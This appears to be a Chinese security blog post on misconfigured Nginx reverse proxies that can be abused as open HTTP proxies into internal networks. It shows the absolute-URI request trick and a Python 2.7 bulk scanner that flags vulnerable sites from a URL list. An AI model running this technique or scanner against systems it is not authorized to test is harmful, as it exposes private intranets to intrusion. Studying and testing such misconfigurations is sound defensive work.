刺透內網的HTTP代理
從偶然出發
在做測試的時候發現了這樣一個漏洞,原請求報文如下:
GET / HTTP/1.1 Host: attack_website [... HEADER ...] ...
當時最初目的是想測SSRF的,但是經過測試沒發現存在漏洞後來想起之前看過的一些漏洞案例,將請求報文中的URI部分替換成了網址:
ofollow,noindex"> http:// gh0st.cn
就變成了如下的請求:
GET http://gh0st.cn HTTP/1.1 Host: attack_website [... HEADER ...] ...
在BurpSuite裡進行重放測試發現返回的響應正文就是 http:// gh0st.cn 的,也就是說這裡的attack_website可以被作為HTTP代理,於是進入下一步的測試能否使用非http/https協議進行請求?例如file:///,測試後發現確實沒辦法這樣玩,看來是這裡代理伺服器不支援。
在這裡替換URI部分為內網的地址,可以直接漫遊內網的系統,進行深入的滲透測試了,後續的事情就不在這多說了,那麼來研究看看為什麼會有這樣的問題呢?
從被動偶然到主動發現
瞭解原理
查閱了一番資料和詢問了一下朋友,都說具體的不太清楚,後來看見這樣一篇文章:
https://www. secpulse.com/archives/7 4676.html
其中所說原理大致是因為Nginx反向代理配置不當導致可以被作為正向代理,導致能被外部作為HTTP代理伺服器。
正向代理 and 反向代理
正向代理
- 瀏覽器(/全域性)設定代理伺服器IP和對應埠
- 瀏覽器輸入目標地址->代理伺服器->目標伺服器
簡而言之,正向代理類似我們經常用到的跳板機,利用代理去訪問外部的資源。

反向代理
跟正代不同的地方在於反向代理相對瀏覽器來說是透明的,不需要在瀏覽器(/全域性)做什麼配置,而是有反向代理伺服器自己做請求轉發到其伺服器上所配置的地址。
大致如下的流程:
- 瀏覽器訪問網站(網站所指即反向代理伺服器)
- 網站(反向代理伺服器)做處理,將請求轉發給所設定的目標伺服器
- 由請求最終到達的目標伺服器響應給網站(反向代理伺服器),然後再通過其返回給瀏覽器

TIPs:
- 一、反向代理伺服器也可以變成WAF(例如Nginx支援反代功能,nginx+lua也可以搭建網站waf)
- 二、反向代理伺服器也可以起到負載均衡的作用,由反向代理伺服器做選擇分配Web伺服器
主動發現指令碼開發
指令碼語言選擇:python2.7
系統環境:all
思考
如何判斷這個網站存在可以作為HTTP代理訪問資源?唯一特徵是什麼?
腦子中唯一的思路就是IP,如果這目標站點能作為HTTP代理訪問資源,那麼我設定的這個資源就是返回真實IP的,這樣就可以判斷了~
這裡我在團隊官網上小小的寫了一個,但是在大批量去測試卻無法使用,因為官網的空間沒那麼大的吞吐量,承載不住高併發,後期建議大家使用 http:// httpbin.org/ip 這個介面~
http://www. hi-ourlife.com/getip.ph p
PHP程式碼:
<?php echo $_SERVER['REMOTE_ADDR']; ?>
程式碼構建
Import 庫
import urllib, sys, re, json
全域性變數:
poc = "http://www.hi-ourlife.com/getip.php"
獲取使用代理訪問資源後內容(IP)函式:
def useProxy(site): try: res = urllib.urlopen(poc, proxies={'http': site}).read() return res except: return getIP()
正常本機獲取IP函式:
def getIP(): res = urllib.urlopen(poc).read() return res
防止有些會出錯返回的內容不是IP,其實返回不是IP也就間接證明不存在這種漏洞,所以需要寫個正則來匹配,這時候判斷是否是IP的函式就誕生了:
def isIP(ip): compileIP = re.compile('^((25[0-5]|2[0-4]\d|[01]?\d\d?)\.){3}(25[0-5]|2[0-4]\d|[01]?\d\d?)$') if compileIP.match(ip): return True else: return False
對比IP函式:
def isVul(site): resA = getIP() #print resA resB = useProxy(site) #print resB if resA == resB or not isIP(resB): print "\033[1;33m[INFO]\033[0m No Vulnerability!" else: print "\033[1;31m[INFO]\033[0m Existing Vulnerability!" print "\033[1;36m[INFO]\033[0m Site:[ {0} ] -> RealIP:[ {1} ]".format(site, resB)
單執行緒批量
從掃描器裡把程式碼模板剝離了出來如下:
#-*- coding:utf-8 -*- #Author: Vulkey_Chen import urllib, sys, re poc = "http://www.hi-ourlife.com/getip.php" def useProxy(site): try: res = urllib.urlopen(poc, proxies={'http': site}).read() return res except: return getIP() def getIP(): res = urllib.urlopen(poc).read() return res def getSite(filename): f = open(filename) res = [] for line in f: res.append(line) return res def isIP(ip): compileIP = re.compile('^((25[0-5]|2[0-4]\d|[01]?\d\d?)\.){3}(25[0-5]|2[0-4]\d|[01]?\d\d?)$') if compileIP.match(ip): return True else: return False def isVul(site): resA = getIP() #print resA resB = useProxy(site) #print resB if resA == resB or not isIP(resB): print "\033[1;33m[INFO]\033[0m No Vulnerability!" else: print "\033[1;31m[INFO]\033[0m Existing Vulnerability!" print "\033[1;36m[INFO]\033[0m Site:[ {0} ] -> RealIP:[ {1} ]".format(site, resB) def main(filename): for i in getSite(filename): isVul(i.replace("\n","")) if __name__ == '__main__': main(sys.argv[1])

END
使用方法:python proxy_vul.py urls.txt
urls.txt 格式:
http://www.hi-ourlife.com/ https://gh0st.cn/ http://mst.hi-ourlife.com:8080/
建議批量方法:
掃描所有想檢測站點的web服務埠(Nginx容器存在此類問題居多),然後使用指令碼檢測。